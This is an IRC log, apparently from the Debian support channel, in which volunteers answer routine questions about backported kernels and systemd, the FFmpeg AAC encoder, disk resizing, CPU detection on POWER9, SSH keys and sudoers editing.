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| 00:40.44 | trumee | I want to update an updated kernel from jessie-backports. The virtio driver in the default kernel seems to be acting up. However, the system does not have an internet connections. Is it possible to download the kernel and update it manually? |
| 00:41.04 | trumee | What file do i need to update the kernel? |
| 00:42.04 | trumee | Can i install the kernel straightway or do i need any additional files? http://ftp.us.debian.org/debian/pool/main/l/linux/linux-image-4.9.0-0.bpo.6-amd64_4.9.82-1+deb9u3~bpo8+1_amd64.deb |
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| 00:58.43 | pawpaw | Hi |
| 00:58.56 | pawpaw | any one can help me? |
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| 02:25.16 | karlpinc | !ask |
| 02:25.17 | dpkg | If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later or on debian-user@lists.debian.org. See <smart questions><errors>. |
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| 02:30.07 | karlpinc | trumee: The package should install if it needs other files. |
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| 02:34.43 | karlpinc | trumee: Normally you'd go to packages.debian.org and find the package to see its dependencies. But I can't find yours. I see, e.g.: https://packages.debian.org/stretch-backports/kernel/linux-image-4.15.0-0.bpo.2-amd64 |
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| 02:57.12 | trumee | karlpinc, thats a stretch-backport, i was looking for jessie backport |
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| 03:12.30 | karlpinc | trumee: Ah. That explains it. You have internet to be able to look yourself? |
| 03:13.19 | karlpinc | trumee: Er. I should have written above "the package will _not_ install if it is missing dependent packages." (!) |
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| 03:59.51 | agio | hi all. does anyone know the command service responsible for starting the sound server? |
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| 04:21.39 | emu_rider | Does `pulseaudio --start` work? |
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| 04:51.04 | coolchris | Hello i am installing debianedu how long should it take for building thin client system? |
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| 04:55.01 | alkisg | coolchris: how fast is your network? e.g. 10 mbps? |
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| 04:55.46 | coolchris | Im installing from usb |
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| 04:57.21 | GJdan | how do you control the IP exim4 uses to send mail? |
| 04:57.42 | alkisg | coolchris: I'm not sure if debianedu uses the usb/cd sources to build the thin client chroot, or if it downloads the packages over the internet. But in any case, downloading the packages is what takes up the most time of ltsp-build-client, so if the downloading part is finished, the rest won't take long. |
| 04:58.17 | alkisg | Nowadays we're using the server / as the template (ltsp-pnp), so ltsp-build-client isn't really used much... |
| 04:58.31 | coolchris | I got the full build that installs from usb |
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| 04:59.20 | coolchris | Looks like the usb is blinking I'll just wait |
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| 04:59.43 | alkisg | coolchris: you can pastebin your current output if you want me to tell you more |
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| 05:01.07 | agio | emu_rider: I tried `pulseaudio --start' and it didn't work. Im trying to find in the documentation where the sound daemons default settings are |
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| 05:03.52 | emu_rider | Then I am not sure |
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| 05:04.05 | emu_rider | agio: maybe this will help? https://askubuntu.com/questions/28176/how-do-i-run-pulseaudio-in-a-headless-server-installation |
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| 05:50.11 | agio | emu_rider: thanks for link, I couldn't really make sense of the instructions |
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| 07:01.08 | domovoy_ | hi |
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| 07:02.18 | domovoy_ | building debian-installer: Downloaded partman-auto source, incremented its version using dch (137+nmu1), built it, copy it in localudebs, added it to pkg-lists/local, and then 'make rebuild_netboot USE_UDEBS_FROM=stretch'. But it still use the one from the official repo (Unpacking partman-auto (137)), why? |
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| 08:04.18 | darxmurf | what's the option to avoid "info dialog" in apt-get ? I tried apt-get install -y -q but I still have this popup telling me the info with an OK button |
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| 08:06.55 | jelly | darxmurf: what info precisely? |
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| 08:10.11 | domovoy | Trying to build debian-installer with a customized partman-auto, when i run this script: https://pastebin.com/emGJS5gq i still get "partman-auto 137 amd64", why isn't my modified partman-auto used? (partman-auto 137+nmu1 amd64) |
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| 08:11.07 | darxmurf | installing the nvidia-driver from backports, I have this blue "windows" telling me the actual loaded module is not the good one and I should reboot to fix that. And the "ok" button |
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| 08:14.17 | darxmurf | jelly: well, when installed using parallel-ssh it does not display anything, so, it's okay ^^ |
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| 08:40.21 | JustASlacker | hello peoples of debian! |
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| 08:40.29 | JustASlacker | Im missing libvo_aacenc |
| 08:40.47 | JustASlacker | anybody got an idea how to get that |
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| 08:41.18 | Haohmaru | did you check in le package manager? |
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| 08:42.37 | kallenp1 | howto undelete data from ext4 on sdd ? |
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| 08:42.59 | petn-randall | kallenp1: Restore from your backups. |
| 08:43.00 | kallenp1 | sdd1 is mounted to /mnt/hdd2 |
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| 08:43.08 | kallenp1 | backups not exists |
| 08:43.29 | petn-randall | kallenp1: Then your chances grow really slim to recover data. What files did you delete? |
| 08:43.31 | Haohmaru | buy a delorean, find the professor, ???, profit |
| 08:43.59 | JustASlacker | well, I have libvo-aacenc-dev and libvo-aacenc0 installed |
| 08:44.07 | kallenp1 | all root files |
| 08:44.11 | JustASlacker | yet avencode does not like that |
| 08:44.14 | kallenp1 | it was LXC container |
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| 08:45.03 | petn-randall | kallenp1: Then the chance is zero. Take some time out of your schedule and make preparations for regular backups. |
| 08:45.36 | petn-randall | So at least that doesn't happen again in the future. |
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| 08:46.12 | JustASlacker | Unknown encoder 'libvo_aacenc' |
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| 08:47.33 | petn-randall | JustASlacker: Can you give us the full command + full output you're running? â https://paste.debian.net |
| 08:48.36 | JustASlacker | Id be happy too |
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| 08:48.40 | JustASlacker | let me clean it up a bit |
| 08:48.48 | jelly | judd: file bin/avencode |
| 08:48.52 | judd | No packages in stretch/amd64 were found with that file. |
| 08:49.36 | jelly | JustASlacker: also, where does your avencode thing come from and is it similar to ffmpeg |
| 08:49.49 | domovoy | Trying to build debian-installer with a customized partman-auto, when i run this script: https://pastebin.com/emGJS5gq i still get "partman-auto 137 amd64", why isn't my modified partman-auto used? (partman-auto 137+nmu1 amd64) |
| 08:50.18 | jelly | domovoy: maybe ask in #debian-boot on irc.oftc.net (irc.debian.org) |
| 08:50.33 | domovoy | jelly> thanks |
| 08:50.40 | JustASlacker | petn-randall, jelly https://paste.debian.net/1021926/ |
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| 08:53.09 | petn-randall | JustASlacker: Well, you're asking for that encoder in your command line. It doesn't exist. |
| 08:53.21 | JustASlacker | yeah, but how to get it |
| 08:53.44 | JustASlacker | jelly: good question. dont see how its installed for now |
| 08:54.33 | petn-randall | JustASlacker: What makes you think it should exist? |
| 08:55.11 | jelly | you seem to be actually calling avconv |
| 08:55.38 | jelly | and... avconv is calling ffmpeg? weird |
| 08:56.19 | JustASlacker | its part of libav-tools |
| 08:56.20 | JustASlacker | libav-tools: /usr/bin/avconv |
| 08:56.34 | JustASlacker | petn-randall: this is a migration to a new system |
| 08:56.42 | JustASlacker | it worked like this on the old system |
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| 08:57.48 | petn-randall | JustASlacker: You'd have to look in the changelog and also in the upstream docs why it was removed, and what the replacement is. |
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| 08:58.32 | petn-randall | JustASlacker: What does 'apt-cache policy libav-tools' return? Also, are you currently upgrading the OS? |
| 08:59.34 | JustASlacker | libav-tools: |
| 08:59.34 | JustASlacker | <PROTECTED> |
| 08:59.35 | JustASlacker | <PROTECTED> |
| 08:59.48 | JustASlacker | No, this is a fresh debian 9 |
| 08:59.54 | JustASlacker | the old system was something weird |
| 09:00.09 | JustASlacker | Gentoo 2.2 :) |
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| 09:00.58 | JustASlacker | askubuntu.com/questions/483187/winff-ffmpeg-unknown-encoder-libvo-aacenc |
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| 09:07.04 | petn-randall | ,v libav-tools |
| 09:07.05 | judd | Package: libav-tools on amd64 -- wheezy: 6:0.8.17-2; wheezy-security: 6:0.8.21-0+deb7u1; wheezy-backports: 6:10.1-1~bpo70+1; jessie: 6:11.11-1~deb8u1; jessie-proposed-updates: 6:11.12-1~deb8u1; jessie-security: 6:11.12-1~deb8u1; jessie-backports: 7:3.2.5-1~bpo8+1; jessie-backports: 7:3.2.10-1~deb9u1~bpo8+1; stretch: 7:3.2.10-1~deb9u1; stretch-security: 7:3.2.10-1~deb9u1; experimental: |
| 09:07.06 | judd | 7:3.5~git20180113-1; wheezy-multimedia: 8:1.0.10-dmo1; jessie-multimedia: 10:2.6.9-dmo1 |
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| 09:09.13 | JustASlacker | yeah, its the current version |
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| 09:12.01 | JustASlacker | The native FFmpeg AAC encoder has been stable since FFmpeg 3.0. If you were using libvo-aacenc or libaacplus, both of which have been dropped in FFmpeg 3.0, please consider switching to the native encoder (-c:a aac) So swap the -c:a libvo_aacenc out for -c:a aac |
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| 09:15.28 | luxpir | got an up to date system, but updating wine requires systemd > 233-4 and I have 232-* |
| 09:15.45 | luxpir | I could use backports for systemd 237-* but that makes me nervous |
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| 09:17.27 | luxpir | anyone used 237-* yet, from backports? |
| 09:17.55 | luxpir | just looking here for more info https://tracker.debian.org/pkg/systemd |
| 09:18.15 | petn-randall | ,v systemd |
| 09:18.16 | judd | Package: systemd on amd64 -- wheezy: 44-11+deb7u4; wheezy-security: 44-11+deb7u5; wheezy-backports: 204-14~bpo70+1; jessie: 215-17+deb8u7; jessie-backports: 230-7~bpo8+2; stretch: 232-25+deb9u2; stretch-proposed-updates: 232-25+deb9u3; stretch-updates: 232-25+deb9u3; stretch-backports: 237-3~bpo9+1; buster: 238-4; sid: 238-4 |
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| 09:19.12 | emu_rider | I think updating to the backported version *should* be fine, since they were tested to be compatible with stable |
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| 09:19.31 | luxpir | emu_rider: thx for that. it's the *should* I'm worried about :) |
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| 09:19.48 | luxpir | I'm still rusty on testing vs stable |
| 09:19.55 | luxpir | (just reading again now) |
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| 09:21.00 | luxpir | ok so 'testing' is generally considered 'safe' |
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| 09:21.34 | luxpir | last question then: say I update to systemd 237-* from backports, then change sources to testing, what happens to systemd? |
| 09:21.44 | luxpir | (when I next update) |
| 09:22.13 | babilen | luxpir: I don't consider testing to be 'safe', you have to ensure to pull security updates from unstable as they become available. |
| 09:22.27 | babilen | (and as you see fit) |
| 09:22.31 | luxpir | babilen: oh, never heard that POV |
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| 09:23.01 | luxpir | so if I stay on stable and grab sysd 237-* from backports, when that version gets to stable, what then? |
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| 09:23.27 | babilen | luxpir: I wouldn't run testing without unstable in the sources.list (and setting default release to testing), but you *will* have to pay attention to security updates and ensure that you get them in a timely fashion |
| 09:24.07 | babilen | If you install backports and upgrade to the next stable release, you get the (sometimes same) version of the package in that stable release |
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| 09:24.38 | luxpir | it'll just overwrite the backports with the stable, when it moves to stable? |
| 09:24.46 | emu_rider | Well...You *could* update it and see if any is working as intended, if not, then try do roll back to the stable version. |
| 09:24.48 | luxpir | sometimes different, sometimes not? |
| 09:24.48 | babilen | It's simply a difference in the versioning scheme used for backports packages (to ensure they are sorted lower than the original version) and necessary adaptations to make them work on older releases |
| 09:25.04 | emu_rider | But dont quote me on that, I'm on Unstable so I won't know |
| 09:25.08 | luxpir | emu_rider: b/c it's systemd I think it's making me nervous to 'test it' |
| 09:25.15 | emu_rider | how those actually work |
| 09:25.37 | babilen | Downgrades are not supported generally speaking |
| 09:26.09 | emu_rider | Is your current version of wine working? if so, then probably just stick to the current one |
| 09:26.12 | luxpir | thx babilen |
| 09:26.16 | babilen | That's because maintainer scripts might perform certain changes during the upgrade/installation of a newer version, that wouldn't be reverted if you downgrade |
| 09:26.40 | luxpir | The thing with Wine atm is that in my trading software there are a few bugs, wanted to check if latest Wine solves them. |
| 09:27.01 | babilen | Backports are generally fine, but do *not* receive the same level of security support as the corresponding package in stable (and unstable) |
| 09:27.01 | luxpir | Might be too risky atm though, given my desire for stability. It's a "production" machine, i.e. I work from it. |
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| 09:27.28 | luxpir | babilen: interesting. and I kind of want security in sysd :) |
| 09:28.13 | emu_rider | How do you feel about making a VM with windows as guest? |
| 09:28.29 | emu_rider | if the bug is really annoying and you don't feel like upgrading |
| 09:28.31 | luxpir | emu_rider: I have one. Good shout. I just don't like leaving Windows running all the time :) |
| 09:28.39 | babilen | luxpir: The security support *might* be timely, but you still end up with the same wait as you do for testing plus additional time for the "backport delay" |
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| 09:29.20 | luxpir | ok babilen on balance I think I'll look at emu_rider's suggestion over messing with backports for something so critical |
| 09:29.31 | emu_rider | I'd say go all the way to Unstable...on a production machine... for the lols you know :P |
| 09:29.52 | luxpir | emu_rider: gee thanks, you really have my best interests at <3 :) |
| 09:30.07 | babilen | luxpir: My personal opinion is: Tracking testing (in a 'tum' setup, /msg dpkg tum) or unstable is okay on a personal box if you know enough about Debian to be able to address most issues and can ensure that you have a second backup box to get online if the main one fails. |
| 09:30.31 | babilen | luxpir: You also shouldn't upgrade packages if you have to work shortly thereafter and can't spare 6/12/18 hours to address your issue |
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| 09:31.22 | babilen | "production machine" typically refers to boxes that offer services to other people and/or are publically available on the internet |
| 09:31.24 | luxpir | it's a work box, more than personal. i.e. my livelihood depends on it. also appreciate the issue-solving time period for after. learned that previously with virtualbox updates. need to bear in mind. |
| 09:31.51 | babilen | luxpir: I'd recommend to read https://wiki.debian.org/DebianUnstable -- In the end there is no "right answer". |
| 09:31.54 | luxpir | babilen: I know the typical use, but the sense of 'someone's money relies on this machine' still applies. that someone just happens to be me. |
| 09:31.59 | luxpir | i.e. it's not a youtube and browsing machine. |
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| 09:32.33 | babilen | I totally understand where you are coming from and the importance of that box. Same holds true for the very machine I use right now (which is on unstable). |
| 09:32.56 | babilen | The safe choice is running stable and that's what I would recommend |
| 09:33.03 | luxpir | I heard unstable is still orders of magnitude more stable than ubuntu etc. |
| 09:33.06 | Aebian | anyone guide me to a decent guide on how to extend a hard disk? I have one attached (its a VMWare hard disk) and I want extend it. However, every guide I found on google always tells that you need to delete it first in order to be able to extend it. Do you have a better way if there is any? |
| 09:33.20 | babilen | But that doesn't mean that you cannot administrate an unstable/testing box in such a way that you can use it for work every day |
| 09:33.24 | Aebian | its not the system ahrd disk btw |
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| 09:33.29 | Aebian | *hard |
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| 09:33.48 | luxpir | babilen: thanks for all that. will stand aside and leave the floor for someone else. will keep looking into testing, specifically, as time goes on. |
| 09:34.04 | babilen | luxpir: 'stable' in Debian simply means 'not changing' and nothing else. Keep that in mind when you think about 'stable' and 'unstable' in regards to Debian |
| 09:34.09 | emu_rider | babilen: I'm on unstable as well, been using it for a couple of months, no problem so far. But if there is anything that I need to fix, do you have any reasources that you usually go to? |
| 09:34.15 | babilen | It has little to do with 'working' or 'bug free' |
| 09:34.18 | b00tcat | hi all, I'm on an amd64 laptop and have a rootFS of an arm64 board - is it possible to chroot into it somehow? |
| 09:34.19 | bezaban | Aebian: underlying storage needs to be expanded first, which is outside the scope of debian / operating system. Then you expand the filesystem on the block device (lvm first if you have that) |
| 09:34.21 | luxpir | babilen: but you mentioned less frequent security updates too. |
| 09:34.45 | luxpir | "An important thing to note, both for regular users and the developers of testing, is that security updates for testing are not managed by the security team. For more information please see the Security Team's FAQ." |
| 09:34.51 | babilen | luxpir: Unstable typically has very timely security support (as new versions are uploaded to it right away) |
| 09:35.08 | luxpir | so stable can be more secure than testing, in a way? |
| 09:35.16 | babilen | absolutely |
| 09:35.50 | luxpir | hmmm, back to focusing on unstable then! |
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| 09:36.00 | babilen | Well .. you get a team of quite knowledgeable volunteers who spend their time on incorporating and creating backports of security fixes into the package versions present in stable |
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| 09:36.26 | ViperXL75 | hola |
| 09:36.47 | ViperXL75 | what's the proces name of the file explorer for xfce gui? |
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| 09:37.10 | ViperXL75 | i usualy type "nautilus" in the terminal server and voila. But Debian Cli just laughs at me if i try it. |
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| 09:37.30 | emu_rider | The default one for xfce is Thunar |
| 09:37.38 | ViperXL75 | ah |
| 09:37.52 | babilen | luxpir: These things aren't easy to answer as it always depend on the particular problem. Debian is working *very* hard to provide timely and professional security updates in stable, but sometimes it is just easier to upload a new version with the patch to unstable, than porting the same patch to the (comparatively ancient ?) version in stable |
| 09:38.26 | luxpir | yes, I didn't think of it that way. can see how it would be. it's reliant on package maintainers not being evil, I take it? |
| 09:39.20 | babilen | The problem with unstable is rather that it is unclear how certain packages interact and that things that worked well in the test setup the maintainer used to verify the new version, has unforeseen effects on other people with more arcane setups (let alone simple mistakes) |
| 09:39.56 | babilen | luxpir: The assumption of "You can trust the package maintainer" is universal in Debian and is ensured by a *very very* rigorous screening procedure |
| 09:39.56 | emu_rider | If you stick to the official repo and install the popular packages (more people have tested them) then you're probably going to befine |
| 09:40.04 | babilen | Absolutely |
| 09:40.41 | babilen | Sorry .. I'm just trying to add a bit of perspective here. These things aren't easy to generalise |
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| 09:41.23 | luxpir | babilen: no, I understand, it's a nuanced issue. I can fit my own use case in there no trouble. My priority is security/stability, so there we have it! |
| 09:41.43 | babilen | Testing definitely has the worst security support, but is easier to use as packages spent time in unstable before they transition to testing which gives us a chance to find bugs |
| 09:41.53 | luxpir | I know new stuff is cool, but I can wait. |
| 09:42.02 | babilen | Stable it is then |
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| 09:42.42 | luxpir | babilen: hats off to you and the team, however you are all organised! |
| 09:43.24 | emu_rider | I wonder if there's anyone, who is not a debian dev, runs Experimental on their machine |
| 09:43.31 | babilen | Just saying: I've been using unstable for many years now and there were a few *horrible* bugs that cost me many hours to fix, but generally speaking it turned out to be a very reliable environment (with the help of apt-listbugs, being aware of things that go on, users reporting problems on IRC so that I know to wait some time, ...) |
| 09:44.02 | ViperXL75 | emu_rider: thanks man. It worked. :) |
| 09:44.09 | babilen | emu_rider: You can't really run experimental on your box as it is not a coherent or comprehensive set of packages. |
| 09:44.25 | emu_rider | Been on unstable for a few months, no problem here so far |
| 09:44.42 | luxpir | babilen: yeah, what I hear there is 'you can invest with my pension fund, you may have catastrophic losses, but in general it's safe' :) - no, I understand that day to day use would be fine in general, but the additional overhead is not what I need for the moment. |
| 09:45.02 | babilen | Which is perfectly fine |
| 09:45.04 | luxpir | emu_rider: well you don't know what you don't know wrt bugs/exploits, so you wouldn't necessarily know if it wasn't fine |
| 09:45.20 | luxpir | same goes for stable though... just statistically slightly more likely to be secure iiuc |
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| 09:45.53 | emu_rider | Yea, fair point |
| 09:45.53 | babilen | It should also be mentioned that a lot more people use stable than either testing or unstable |
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| 09:46.15 | luxpir | would be good to see numbers actually. probably out there? |
| 09:46.51 | babilen | https://popcon.debian.org/ |
| 09:47.45 | luxpir | huh, cool |
| 09:48.11 | luxpir | took till dec for stretch to overtake jessie |
| 09:48.18 | emu_rider | babilen: do you have any resources for correctly managing an Unstable install? Just asking for future reference |
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| 09:49.00 | emu_rider | The Admin Handbook from the repo is about stable, so not sure how much of it is relevant |
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| 09:49.47 | babilen | emu_rider: https://wiki.debian.org/DebianUnstable is something we wrote in the past to address common issues that came up in here or #debian-next (on irc.oftc.net) |
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| 09:51.12 | luxpir | so ~10% of users on testing/unstable as rule of thumb (60+90k jess/stretch stable vs 13k testing/unstable) |
| 09:51.26 | luxpir | feel better now I know the vast majority prefer stable |
| 09:51.43 | babilen | It's generally quite easy: 1. Do not upgrade if you can't be arsed to do work on your box 2. Follow IRC and Debian mailing lists and be aware of the current situation 3. Do not be the first to upgrade, but let at least users in Asia and Europe run into problems first 4. Install apt-listbugs and configure it to show important bugs also 5. Ensure you have proper backups and older .debs around |
| 09:51.47 | luxpir | I like to be in the top 10-20% of certain things, but quite a way off being there in this case. |
| 09:51.52 | babilen | (and so on) |
| 09:53.52 | luxpir | cool info babilen |
| 09:53.54 | emu_rider | babilen: I have apt-listbugs and have set it to show important bugs as well |
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| 09:54.03 | luxpir | right, thanks for discussion folks. will gbtw now. all the best! |
| 09:54.25 | nls_ | exit |
| 09:54.54 | emu_rider | Guess Im just lucky that I haven't ran into any bugs yet |
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| 09:57.31 | babilen | emu_rider: The most interesting times are those in which massive changes are implemented (e.g. /run migration, certain udev transitions, ...) |
| 09:58.51 | emu_rider | The freeze for new stable doesn't really impact unstable right? |
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| 10:11.18 | dracc | My var/log contains the files "messages" and "syslog" and "user.log" (among others). These three files are 6GiB each. This can't be normal, right? |
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| 10:11.55 | Aebian | bezaban: not sure if I got your point. So the disk is mounted as /db | I can extand that disk freely via the VMWare cloud interface. And then I should just use lvm to extend the disk right? |
| 10:12.42 | babilen | dpkg: tell emu_rider -about slushy |
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| 10:13.15 | bezaban | Aebian: first underlying block device, then lvm (if applicable), then file system |
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| 10:15.06 | emu_rider | wow, TIL |
| 10:15.18 | Aebian | ah gotcha. Yeah lvm is not needed on this device. But yes block device needs to be extended first, thanks |
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| 10:21.26 | bezaban | Aebian: good luck, and always get a recent backup done when resizing block devices :) |
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| 10:23.51 | Kelsar | is it odd versioning or is solr in stretch really that old? |
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| 10:25.37 | colo-work | it's probably really this old |
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| 10:25.59 | dracc | How do I disable auto upgrades? I've compiled and installed Mesa myself and aptitude keeps replacing it with older (repo) versions even though I don't run aptitude safe-upgrade. |
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| 10:26.47 | ebrasca | How to check how many cpus I have in debian? |
| 10:26.56 | ebrasca | "CPUs" |
| 10:27.00 | ebrasca | and not cores |
| 10:27.40 | dracc | ebrasca, "lscpu | grep Sockets" ? |
| 10:27.48 | colo-work | you mean phys. sockets populated? |
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| 10:28.17 | dracc | ebrasca Or you mean threads? |
| 10:28.28 | dracc | ebrasca, in that case, "lscpu | grep CPUs" |
| 10:28.46 | dracc | ebrasca, "lscpu | grep 'CPU(s)'" * |
| 10:29.05 | colo-work | if you want to make do with coreutils on Linux, use grep "^physical id" /proc/cpuinfo | sort -u | wc -l |
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| 10:29.17 | ebrasca | I have 2 POWER9 but I am not sure if debian detect both. |
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| 10:29.29 | colo-work | just look at the data in /proc/cpuinfo |
| 10:29.35 | dracc | +1 |
| 10:29.36 | colo-work | I'm not sure what it's supposed to look like on POWER |
| 10:29.39 | ebrasca | It say 32 ... |
| 10:29.49 | colo-work | that is # of threads, probably |
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| 10:30.40 | nix64bit | what authorized_keys must i give to a remote ssh serevr? |
| 10:30.48 | nix64bit | my .pub key? |
| 10:30.52 | ebrasca | here paste of lscpu http://termbin.com/mhlv |
| 10:30.54 | dracc | nix64bit, that is correct. |
| 10:31.01 | nix64bit | asking for a password as well? |
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| 10:31.38 | dracc | nix64bit, Do you want it to both have your key and password, or you want autologin provided user and said key? |
| 10:32.02 | dracc | ebrasca, It only detects one socket. |
| 10:32.12 | ebrasca | dracc: How you know? |
| 10:32.19 | dracc | 8 SMT4 cores |
| 10:32.20 | nix64bit | i only want the key |
| 10:32.31 | dracc | ebrasca, Because it says "Socket(s): 1". |
| 10:32.37 | nix64bit | not sure why it wants the password |
| 10:33.01 | ebrasca | dracc: How I can fix it? |
| 10:33.20 | dracc | nix64bit, I see. Have you added the key (on one line) to the ~/.ssh/autorized_keys file? |
| 10:33.52 | dracc | ebrasca, I'd start by checking if BIOS detects both CPUs. If not, check that it's properly seated in its socket. |
| 10:34.16 | nix64bit | i will give it another try |
| 10:34.26 | dracc | nix64bit, GLHF! :) |
| 10:34.38 | nix64bit | thx |
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| 10:37.16 | nix64bit | Permission denied (publickey,keyboard-interactive). |
| 10:37.24 | dracc | Hmm.. |
| 10:37.28 | ebrasca | dracc: Do you mean check it in petibot? |
| 10:39.05 | dracc | ebrasca, To be totally honest, I've never worked with the POWER architecture. I have no clue whatsoever what petibot is and DDG refuses to tell me. :( |
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| 10:40.09 | ebrasca | dracc: It is first think I can see in talos II |
| 10:40.25 | ebrasca | dracc: You can chose boot options |
| 10:42.04 | dracc | ebrasca, Oh, I see. Well, yeah, I guess I mean talibot then. :) |
| 10:43.22 | dracc | Oh, you meant "petitboot"? |
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| 10:46.05 | ebrasca | dracc: Yes petitboot. |
| 10:46.06 | dracc | ebrasca, As far as I can tell, petitbot provides "System information", which is what I'd suggest you start looking at to see if your CPU is detected at all on a lower level. :) |
| 10:46.12 | dracc | petitboot* |
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| 10:47.54 | ebrasca | He detect only 32 cores. |
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| 10:57.02 | darxmurf | hmm is there a way to fix this "Too many levels of symbolic links" returned when I trie to enter a NFS mount point mounted by autofs ? |
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| 10:57.39 | darxmurf | it's weird, when I mount it by hand using mount.nfs it's fine but not with autofs. Usually I can fix that by rebooting the machine but before that if you have a solution :-) |
| 10:57.51 | dx_ob | darxmurf: are you building your own debian iso? |
| 10:58.09 | darxmurf | nop |
| 10:58.17 | dx_ob | then? |
| 10:58.28 | darxmurf | calculations are running on it |
| 10:58.54 | darxmurf | I always try to fix things instead of "did you try to reboot" |
| 10:58.57 | dx_ob | what do you mean? |
| 10:59.33 | darxmurf | I mean I have a folder returning this "too many levels..." error when I try to access it :-) |
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| 10:59.39 | radice | hi |
| 10:59.43 | dx_ob | hey radice |
| 10:59.50 | darxmurf | this folder is a NFS mount managed by autofs |
| 10:59.57 | dx_ob | ok darxmurf thought you were building your own iso |
| 11:00.03 | darxmurf | and I don't understand why now it returns this error and not this morning :-) |
| 11:00.14 | dx_ob | cool |
| 11:00.39 | darxmurf | dx_ob: nop |
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| 11:01.38 | radice | I have a process that is eating the BW of my server, how I can check which one? |
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| 11:05.02 | radice | ok I used iftop to deduce the process from the destination |
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| 11:05.21 | dx_ob | good radice |
| 11:05.34 | dx_ob | i know theres a netstat command but i dont remember it |
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| 11:12.16 | radice | dx_ob: it seems nethogs is the right command |
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| 11:13.46 | dx_ob | yeah googling helps ;) |
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| 12:28.49 | colo-work | /etc/init/? are you on Ubuntu? |
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| 12:30.23 | petn-randall | tuxmartin_: What release are you running? |
| 12:30.57 | tuxmartin_ | colo-work: I have a lot of servers. Ubuntu and Debian. At this moment I am on Ubutnu 16.04. |
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| 12:34.43 | tuxmartin_ | I got it! Is possible to add own cron file using "crontab /tmp/crontest" : https://gist.github.com/tuxmartin/4b2894d008a08999776306b67abc0e42 |
| 12:37.34 | colo-work | having symlinks in /etc/cron.d/ should also work |
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| 12:54.48 | phutchins | Hey all, anyone seen an issue when installing debian (on an intel nuc) you get "Failed to copy file from CD-ROM. Retry?"? I've googled and attempted to unplug and replug the USB device, then tried manually mounting the device at /cdrom to no avail. The Installer logs say "bad sha256sum". |
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| 12:55.05 | phutchins | Could this have been an issue burning the thumb drive? |
| 12:55.13 | tsglove | Well, I just installed a small debian VM to test... and it's consuming 41MB of ram. NICE! I didn't know this was so light-weight out of the box. |
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| 12:55.45 | tsglove | phutchins, is it OS completely installed? Or you're installing the updates? |
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| 12:56.25 | phutchins | tsglove: nothing is currently installed. I'm booting from USB and trying to do a fresh network install. |
| 12:57.09 | neomoon | hey I have the Sony MDR-1000X wireless headphones, and I have the bug on Debian buster where it wont connect in A2DP mode |
| 12:57.17 | neomoon | as described here https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1724919 |
| 12:57.25 | neomoon | do we have a fix for this yet ? |
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| 12:59.19 | kazdax | how do i remove my user from the sudeors file ? |
| 12:59.24 | kazdax | i dont remember the location of the file |
| 12:59.32 | kazdax | i could use find to find the file right ? |
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| 12:59.47 | tsglove | kazdax, visudo and delete the appropiate lines? |
| 12:59.56 | kazdax | yes |
| 12:59.59 | tsglove | phutchins, I'm lost on that man. Sorry |
| 13:00.00 | kazdax | thanks |
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| 13:00.06 | tsglove | kazdax, sure think =) |
| 13:00.09 | tsglove | *thing |
| 13:00.16 | phutchins | tsglove: no worries. :) I'm attempting to dd the image to the thumb drive again without the USB hub in the middle. |
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| 13:00.26 | tsglove | phutchins, ahhh... yes |
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| 13:00.30 | kazdax | it say visudo command not found |
| 13:00.33 | phutchins | I have a feeling there are issues with getting enough power to all of the devices on the USB hub (yes, it is powered...). |
| 13:00.40 | kazdax | this current user i am using is a sudoer |
| 13:00.54 | tsglove | I've had problems, yet with "Rasbian", burning images to microSD cards using an "adapter microSD to SD card"... no idea why, yet the adapters always give me problems. |
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| 13:01.15 | tsglove | kazdax, maybe do su to run as root itself? |
| 13:01.17 | tsglove | then visudo? |
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| 13:02.08 | kazdax | got it thanks again :) |
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| 13:02.13 | phutchins | tsglove: yeah, its definitely a thing... Not sure how error correction wouldn't catch that tho. |
| 13:02.22 | kazdax | simple thing like this i need to think for a moment before asking |
| 13:02.40 | phutchins | And yeah looks like that did the trick :). Wrote the USB while directly plugged into a USB-C port and it is getting past that spot on install now... |
| 13:02.56 | tsglove | phutchins, yup. I remember I tracked it down specifically to the SD card adapters. And I tried multiple ones... yet they all failed. Oh well. |
| 13:03.05 | tsglove | phutchins, nice! |
| 13:03.23 | phutchins | tsglove: definitely a man in the middle denial of service ;) |
| 13:04.01 | phutchins | While I'm here... Is there a full install ISO out there? I looked around and couldn't find one that was a single ISO (not broken up into cd's or dvd's...) |
| 13:04.32 | kazdax | phutchin nah all i have seen are seperate DVDs |
| 13:04.38 | kazdax | you can try netinsal |
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| 13:04.40 | kazdax | instal |
| 13:04.45 | kazdax | if you have the internet |
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| 13:05.04 | phutchins | Thats what I've been using but it's inconvenient a lot of times... |
| 13:05.08 | kazdax | yes |
| 13:05.10 | kazdax | slow |
| 13:05.12 | kazdax | i guess |
| 13:05.23 | phutchins | Like right now I have to make a 30 foot ethernet cable :-\ |
| 13:05.34 | kazdax | ahh :( |
| 13:05.53 | kazdax | is there a way he could merge the 3 DVDs and make his own USB bootable ? |
| 13:06.24 | phutchins | Thats waht I was wondering, if anyone had already done that. Seems that someone wuold have had to... |
| 13:06.37 | kazdax | have you tried torrents ? |
| 13:06.43 | kazdax | they might have it there on the torrents |
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| 13:06.50 | kazdax | i remember finding something similer for freebsd |
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| 13:08.04 | kazdax | but you can do a base package install from the single DVD |
| 13:08.41 | Brigo | in the first dvd is almost everything you could need. |
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| 13:10.05 | kazdax | phut do you want to install everything on all the DVDs |
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| 13:10.19 | kazdax | or you just need a windows manager and a base install ? |
| 13:10.38 | kazdax | check the list of items on the first DVD and see if what you need is on that |
| 13:11.19 | kazdax | Debian is really nice .i like the way it handles everything |
| 13:11.36 | kazdax | i have completely switched from windows to debian linux |
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| 13:11.44 | jolt | Debian <3 |
| 13:12.02 | kazdax | i can do everythign i can on my windows and i am not a gamer |
| 13:12.14 | kazdax | so yup ..basiclly everything i need my windows for..i can do it on my debian |
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| 13:13.03 | kazdax | is vmware workstation free for linux ? |
| 13:13.54 | vlt | kazdax: I don't know. For virtualization I use Xen. |
| 13:14.21 | kazdax | i am using Qemu |
| 13:14.30 | kazdax | with virt-manager |
| 13:14.35 | vlt | There's also KVM and VirtualBox |
| 13:15.09 | kazdax | kvm is built into linux tho right ? |
